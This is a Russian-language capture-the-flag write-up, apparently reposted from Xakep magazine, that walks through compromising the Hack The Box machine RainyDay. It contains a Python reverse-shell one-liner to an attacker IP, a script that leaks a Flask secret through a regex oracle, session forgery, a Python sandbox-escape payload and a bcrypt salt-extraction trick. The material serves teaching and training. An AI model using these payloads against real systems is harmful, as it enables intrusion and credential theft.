Хакер - HTB RainyDay. Эксплуатируем API и брутим «соленый» пароль

Хакер - HTB RainyDay. Эксплуатируем API и брутим «соленый» пароль

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Пользователь jack
  • Пользователь jack_adm
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как мож­но про­экс­плу­ати­ровать уяз­вимость в API веб‑при­ложе­ния, что­бы получить дос­туп к хос­ту. Затем вый­дем из песоч­ницы Python и покопа­емся в крип­тогра­фии, что­бы получить кри­тичес­ки важ­ные дан­ные и повысить при­виле­гии в сис­теме.

На­шей целью будет зах­ват учеб­ной машины RainyDay с пло­щад­ки Hack The Box. Ее уро­вень — слож­ный.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.184 rainyday.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Наш­лось два откры­тых пор­та: 22 — служ­ба OpenSSH 8.9p1 и 80 — веб‑сер­вер Nginx 1.18.0. На SSH нам пока заходить рано, пос­коль­ку учет­ных дан­ных у нас нет (а переби­рать их на машине с HTB не пред­полага­ется).

В заголов­ке отве­та веб‑сер­вера Nmap нашел поле http-title, которое сооб­щает о редирек­те на адрес rainycloud.htb. Поэто­му изме­ним запись в фай­ле /etc/hosts и обра­тим­ся к новому сай­ту через бра­узер.

10.10.11.184 rainyday.htb rainycloud.htb

Глав­ная стра­ница сай­та http://rainycloud.htb/

ТОЧКА ВХОДА

Да­вай пос­тро­им кар­ту сай­та в Burp Suite, что­бы луч­ше ори­енти­ровать­ся. Для это­го выбира­ем любой зап­рос к целево­му сай­ту и в кон­текс­тном меню кли­каем Engagement tool → Discovery content. Пос­ле окон­чания ска­ниро­вания на вклад­ке Site map уви­дим что‑то похожее на скрин ниже.

Кар­та сай­та rainycloud.htb

Ког­да Burp Suite стро­ит кар­ту, он не толь­ко ска­ниру­ет катало­ги и фай­лы, но и собира­ет ссыл­ки и перехо­дит по ним. Так как не про­исхо­дит ска­ниро­вания под­доменов, то выпол­ним его с помощью ffuf.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -H — допол­нитель­ный HTTP-заголо­вок;
  • -t — количес­тво потоков;
  • -fs — филь­тр, исклю­чающий стра­ницы по раз­меру.

ffuf -u 'http://rainycloud.htb' -w subdomains-top1million-110000.txt -H "Host: FUZZ.rainycloud.htb" -t 256 -fs 229

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

До­бав­ляем новый домен в файл /etc/hosts.

10.10.11.184 rainyday.htb rainycloud.htb dev.rainycloud.htb

Но сайт на новом домене нам недос­тупен, о чем говорит код отве­та 403. Зато на кар­те сай­та есть инте­рес­ная стра­ница /api/.

Стра­ница /api/

Эн­дпо­инт /api/list показы­вает нам единс­твен­ный сущес­тву­ющий образ Docker.

Су­щес­тву­ющие докер‑обра­зы

Еще мы можем зап­росить URL вида /api/user/<id>, что­бы получить информа­цию о поль­зовате­ле. Нем­ного поиг­рав с фор­матом id, я получил три име­ни поль­зовате­ля и хеши их паролей.

Дан­ные поль­зовате­ля jack
Дан­ные поль­зовате­ля root
Дан­ные поль­зовате­ля gary

ТОЧКА ОПОРЫ

Най­ден­ные хеши были соз­даны алго­рит­мом bcrypt, который устой­чив к перебо­ру, — работа hashcat заняла око­ло 25 минут. Для перебо­ра bcrypt нуж­но исполь­зовать режим 3200 (параметр -m).

hashcat -m 3200 hashes.txt rockyou.txt

Ре­зуль­тат перебо­ра хешей

С най­ден­ным паролем авто­ризу­емся на сай­те и получа­ем воз­можность соз­дать кон­тей­нер Docker.

Глав­ная стра­ница сай­та

Соз­даем новый кон­тей­нер, и нам откры­вает­ся панель управле­ния кон­тей­нером.

Глав­ная стра­ница сай­та

Внут­ри кон­тей­нера мож­но выпол­нять коман­ды, поэто­му получим реверс‑шелл. В качес­тве лис­тенера я исполь­зую pwncat. Так как реверс‑шелл дол­жен висеть дол­го, выпол­няем коман­ду в фоновом режиме:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.17",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/sh")'

По­луча­ем сес­сию и про­веря­ем внут­реннюю сеть.

Нас­трой­ки сетево­го адап­тера

ПРОДВИЖЕНИЕ

Пользователь jack

Заг­рузим на хост ста­тичес­ки соб­ранный Nmap и най­дем дру­гие хос­ты (кон­тей­неры) в сети.

./nmap -sn 172.18.0.0/24

Ре­зуль­тат ска­ниро­вания сети

Даль­ше ничего сде­лать не уда­лось, но вспо­мина­ем про еще один, ранее недос­тупный сайт на под­домене dev. Нуж­но сно­ва про­верить его дос­тупность, так как теперь мы можем обра­тить­ся к нему из внут­ренней сети. Что­бы получить дос­туп к это­му сай­ту, нуж­но пос­тро­ить тун­нель. Для это­го будем исполь­зовать chisel. На локаль­ном хос­те запус­тим сер­вер, ожи­дающий под­клю­чения (параметр --reverse) на порт 8000 (параметр -p).

chisel.bin server -p 8000 --reverse

Те­перь на уда­лен­ном хос­те запус­тим кли­ент­скую часть. Ука­зыва­ем адрес сер­вера и порт для под­клю­чения, а так­же мар­шрут тун­неля: локаль­ный порт 8888 будет вес­ти на порт 80 хос­та 172.18.0.1.

./chisel.bin client 10.10.14.17:8000 R:8888:172.18.0.1:80

В логах сер­вера мы дол­жны уви­деть сооб­щение о соз­дании новой сес­сии. Теперь оста­ется изме­нить запись dev.rainycloud.htb в фай­ле /etc/hosts на локаль­ный хост и обра­тить­ся к сай­ту.

127.0.0.1 dev.rainycloud.htb

Глав­ная стра­ница сай­та DEV

И сайт дос­тупен! При­чем это dev-вер­сия того сай­та, с которым мы уже работа­ли, поэто­му сра­зу перехо­дим к зна­комо­му API.

curl http://dev.rainycloud.htb:8888/api/healthcheck | jq

От­вет сер­вера

В отве­те пред­став­лены вари­анты про­вер­ки фай­лов. Так как пер­вые три вари­анта при­вяза­ны к фай­лам опре­делен­ных типов, нам более важен пос­ледний тип, в котором мож­но задать пат­терн. Пов­торим пос­ледний вари­ант со сле­дующи­ми парамет­рами:

curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie 'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.sauINNJZPW5yNHkQ44vdw3RkCDA' -d 'file=/etc/passwd&type=custom&pattern=^root.*' | jq

От­вет сер­вера

Сер­вис отве­тил, что в фай­ле /etc/passwd есть пос­ледова­тель­ность, которая соот­ветс­тву­ет пат­терну ^root.*. Зна­чит, мы можем не толь­ко про­верять сущес­тво­вание того или ино­го фай­ла, но и вытяги­вать из них стро­ки. Так, пер­вая справ­ка рас­кры­ла путь к катало­гу сай­та /var/www/rainycloud/, и я переб­рал нес­коль­ко вари­антов имен фай­лов, которые могут содер­жать сек­рет Flask. В ито­ге получа­ем вер­ный ответ для фай­ла secrets.py.

curl http://dev.rainycloud.htb:8888/api/healthcheck --cookie 'session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.sauINNJZPW5yNHkQ44vdw3RkCDA' -d 'file=/var/www/rainycloud/secrets.py&type=custom&pattern=^SECRET_K

EY.*' | jq

От­вет сер­вера

Те­перь мож­но авто­мати­зиро­вать посим­воль­ное получе­ние сек­рета. Для это­го к вер­ному пат­терну нуж­но под­став­лять раз­ные сим­волы и, если ответ вер­ный, изме­нять пат­терн даль­ше. Для это­го я накидал сле­дующий код:

import requests

import json

sess = requests.Session()

secret = "SECRET_KEY"

while True:

for c in ' 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/="'.':

try:

r = sess.post('http://dev.rainycloud.htb:8888/api/healthcheck', {

'file': '/var/www/rainycloud/secrets.py',

'type': 'custom',

'pattern': "^" + secret + c + ".*"

}, cookies={'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.sauINNJZPW5yNHkQ44vdw3RkCDA'})

if json.loads(r.content)['result']:

secret += c

print(secret)

break

except Exception:

pass

Ре­зуль­тат работы скрип­та

Та­ким обра­зом мы получа­ем сек­рет Flask и можем под­делать сес­сию любого поль­зовате­ля. Сна­чала с помощью flask-session-cookie-manager рас­шифру­ем дан­ные, переда­ваемые в cookie.

python3 flask_session_cookie_manager3.py decode -s f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67 -c eyJ1c2VybmFtZSI6ImdhcnkifQ.Y7ASyA.sauINNJZPW5yNHkQ44vdw3RkCDA

Рас­шифро­ван­ные дан­ные

А теперь изме­ним имя поль­зовате­ля и сде­лаем новый иден­тифика­тор сес­сии.

python3 flask_session_cookie_manager3.py encode -s f77dd59f50ba412fcfbd3e653f8f3f2ca97224dd53cf6304b4c86658a75d8f67 -t "{'username': 'jack'}"

По­луче­ние нового иден­тифика­тора сес­сии

За­меня­ем куки в бра­узе­ре, обновля­ем стра­ницу и получа­ем кон­тей­неры поль­зовате­ля jack.

Кон­тей­неры поль­зовате­ля jack

Уже зна­комым методом попада­ем внутрь кон­тей­нера и про­водим раз­ведку. Скрип­ты для перечис­ления сис­темы ничего мне осо­бо не дали, поэто­му я решил отсле­дить запус­каемые про­цес­сы с помощью pspy64.

Ло­ги pspy64

В логах видим исполь­зование SSH-аген­та, а затем про­дол­житель­ный сон. Мне это показа­лось стран­ным. Зная иден­тифика­тор про­цес­са, мы можем осмотреть­ся в его окру­жении. Так находим при­мон­тирован­ный каталог с при­ват­ным SSH-клю­чом поль­зовате­ля.

При­ват­ный SSH-ключ поль­зовате­ля

Под­клю­чаем­ся уже к основно­му хос­ту и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

Пользователь jack_adm

Нам сно­ва нуж­но соб­рать информа­цию, и на этот раз скрипт PEASS навел меня на пра­виль­ный путь — нас­трой­ки sudoers.

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Нас­трой­ки sudoers

Поль­зователь jack может выпол­нить коман­ду /usr/bin/safe_python * от име­ни поль­зовате­ля jack_adm без вво­да пароля. Этот файл запус­тит скрипт на Python в уре­зан­ном режиме. А зна­чит, нам нуж­но вый­ти из песоч­ницы Python. Поп­робовав нес­коль­ко наг­рузок из сво­ей кол­лекции, я нашел под­ходящую. Давай раз­берем, как она работа­ет.

Пер­вым делом в коде нам нуж­но доб­рать­ся до клас­са object. Для это­го мы вос­поль­зуем­ся таким свой­ством язы­ка Python, как MRO (method resolution order) — порядок раз­решения методов. Ког­да мы ищем атри­бут в клас­се, который учас­тву­ет в мно­жес­твен­ном нас­ледова­нии, соб­люда­ется опре­делен­ный порядок. Сна­чала атри­бут ищет­ся в текущем клас­се. Если ничего не най­дено, поиск перехо­дит к родитель­ским клас­сам. Этот порядок называ­ется лине­ари­заци­ей клас­са, а набор при­меня­емых пра­вил называ­ется как раз поряд­ком раз­решения метода (MRO). Для получе­ния MRO клас­са мож­но исполь­зовать атри­бут __mro__. В качес­тве клас­са возь­мем, к при­меру, кор­теж.

().__class__.__mro__[1]

По­луче­ние клас­са object

Ког­да мы не можем импорти­ровать нуж­ные модули, так как это зап­рещено, мы дол­жны исполь­зовать толь­ко собс­твен­ные встро­енные фун­кции Python. Встро­енные фун­кции, не пред­полага­ющие непос­редс­твен­ного исполь­зования, авто­мати­чес­ки вво­дят­ся в сре­ду с помощью встро­енно­го модуля builtins. А уже через этот модуль мож­но получить дос­туп к заморо­жен­ному модулю — ском­пилиро­ван­ному байт‑коду для работы без пре­дус­танов­ленно­го интер­пре­тато­ра Python. В нем нас боль­ше все­го инте­ресу­ет класс BuiltinImporter.

().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]

По­луче­ние frozen-модуля Python

По­лучив дос­туп к клас­су BuiltinImporter, мож­но исполь­зовать фун­кцию load_module для непос­редс­твен­ной заг­рузки встро­енно­го модуля builtins. Из него мы уже смо­жем сме­ло импорти­ровать нуж­ные нам модули и исполь­зовать опре­делен­ные фун­кции. К при­меру, фун­кцию system из модуля os.

().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("whoami")

Вы­пол­нение коман­ды в тер­минале

А теперь вмес­то whoami исполь­зуем коман­ду, которая поз­волит нам получить инте­рак­тивную коман­дную обо­лоч­ку. Записы­ваем коман­ду в файл и исполня­ем этот файл через safe_python на целевом хос­те.

().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("bash -i")

sudo -u jack_adm /usr/bin/safe_python /tmp/test.py

Сес­сия поль­зовате­ля jack_adm

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Сно­ва перека­пывать всю сис­тему смыс­ла нет, а вот про­верить нас­трой­ки sudoers в изме­нив­шемся кон­тек­сте необ­ходимо.

sudo -l

Нас­трой­ки sudoers

Мы можем запус­тить скрипт /opt/hash_system/hash_password.py от име­ни рута. Запус­каем коман­ду для тес­та, и нас про­сят ввес­ти пароль.

Про­вер­ка скрип­та

В отве­те получа­ем хеш bcrypt. Инте­рес­но, что если поп­робовать его проб­рутить, то его про­обра­зом не будет вве­ден­ная нами стро­ка test. Ско­рее все­го, при хеширо­вании исполь­зует­ся соль. Но прос­мотреть скрипт мы не можем.

Про­вер­ка фай­ла hash_password.py

Так как мы на пер­воначаль­ном эта­пе получи­ли хеш пароля рута, воз­никло пред­положе­ние, что если най­ти соль, то мож­но будет проб­рутить и «соленый» пароль рута. Давай поп­робу­ем ввес­ти пус­той пароль, что­бы хеш вычис­лялся толь­ко из соли.

Ошиб­ка при пус­том пароле

Но получа­ем ошиб­ку, так как про­веря­ется дли­на вве­ден­ного пароля. Дол­го искать решение задачи не приш­лось — я уже видел похожую идею в одном CTF. Дело в том, что bcrypt — это хеш, у которо­го мак­сималь­ный раз­мер хеширу­емой стро­ки сос­тавля­ет 72 бай­та. То есть все бай­ты пос­ле 72-го будут отсе­чены. Таким обра­зом, мы мог­ли бы ввес­ти 71 извес­тный нам байт, а 72-й — это пер­вый сим­вол добав­ленной соли. Затем мы переби­раем этот единс­твен­ный сим­вол и зада­ем уже стро­ку из 70 байт. Теперь будет добав­лено два сим­вола соли, один из которых мы зна­ем, и оста­нет­ся переб­рать вто­рой. Таким спо­собом мы пос­тепен­но вытяги­ваем всю стро­ку‑соль.

H1 = 72*'A'

H2 = 71*'A' + S[0]

H3 = 70*'A' + S[0] + S[1]

В этой задаче есть одно усложне­ние — рег­ламен­тирован­ная дли­на стро­ки до 30 сим­волов вклю­читель­но. Здесь сто­ит про­явить сме­кал­ку. Заметь, что хеширу­ется стро­ка до 72-го бай­та, а про­веря­ется стро­ка до 30 сим­волов. Таким обра­зом, если мы будем исполь­зовать кодиров­ку, где каж­дый сим­вол обоз­нача­ется 3 бай­тами, то в 30 сим­волах мы смо­жем передать аж 90 байт!

Что­бы най­ти такие сим­волы, мож­но вос­поль­зовать­ся таб­лицей. Я взял сим­вол .

Таб­лица UTF8-3byte

Ко­пиру­ем из таб­лицы выб­ранный сим­вол и переда­ем в качес­тве пароля стро­ку из 24 таких сим­волов.

Вы­чис­ление хеша

По­луча­ем хеш и про­веря­ем наше пред­положе­ние. Для это­го записы­ваем вве­ден­ную стро­ку в файл и переда­ем его в качес­тве сло­варя для перебо­ра.

hashcat -m 3200 hash.txt wordlist.txt

На­хож­дение про­обра­за хеша с помощью hashcat

В ито­ге стро­ка была обна­руже­на, и мы можем начать вытяги­вать соль. Переда­ем прог­рамме стро­ку из 23 сим­волов  и двух обыч­ных букв A. Так дли­на стро­ки сос­тавит 25 сим­волов, но 71 байт.

Вы­чис­ление хеша

Те­перь сос­тавим сло­варь для получен­ного хеша. Для это­го к вве­ден­ной нами стро­ке добавим по оче­реди все воз­можные сим­волы и запишем в сло­варь.

s = 'ェェェェェェェェェェェェェェェェェェェェェェェAA'

for i in range(0,255):

print(s + chr(i))

Сос­тавлен­ный спи­сок переда­ем в hashcat и отправ­ляем хеш на брут.

hashcat -m 3200 hash.txt wordlist.txt

На­хож­дение про­обра­за хеша с помощью hashcat

И получа­ем пер­вый сим­вол соли — H. Теперь пов­торя­ем наш трюк и переда­ем прог­рамме 24 сим­вола (71 байт).

Вы­чис­ление хеша

Те­перь обновля­ем наш спи­сок для перебо­ра. Мы зна­ем пер­вый сим­вол соли, вто­рой будем переби­рать.

s = 'ェェェェェェェェェェェェェェェェェェェェェェェAH'

for i in range(0,255):

print(s + chr(i))

hashcat -m 3200 hash.txt wordlist.txt

На­хож­дение про­обра­за хеша с помощью hashcat

У нас уже есть два сим­вола соли. Про­дол­жаем даль­ше получать по одно­му сим­волу. Я перей­ду сра­зу к пос­ледней ите­рации, где мы уже получи­ли всю соль (H34vyR41n). Так как пос­ледний сим­вол будет 0 байт, hashcat отоб­разит про­образ в шес­тнад­цатерич­ном виде.

s = 'ェェェェェェェェェェェェェェェェェェェェAAH34vyR41n'

for i in range(0,255):

print(s + chr(i))

На­хож­дение про­обра­за хеша с помощью hashcat

Пе­рехо­дим к бру­ту хеша пароля рута. Возь­мем сло­варь rockyou.txt и добавим соль к каж­дому сло­ву.

sed 's/$/H34vyR41n/' rockyou.txt > new_rockyou.txt

От­прав­ляем хеш на перебор по новому сло­варю и спус­тя некото­рое вре­мя получа­ем пароль!

hashcat -m 3200 hash.txt wordlist.txt

На­хож­дение про­обра­за хеша с помощью hashcat

Че­рез su меня­ем поль­зовате­ля в сис­теме и авто­ризу­емся как root с паролем 246813579.

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page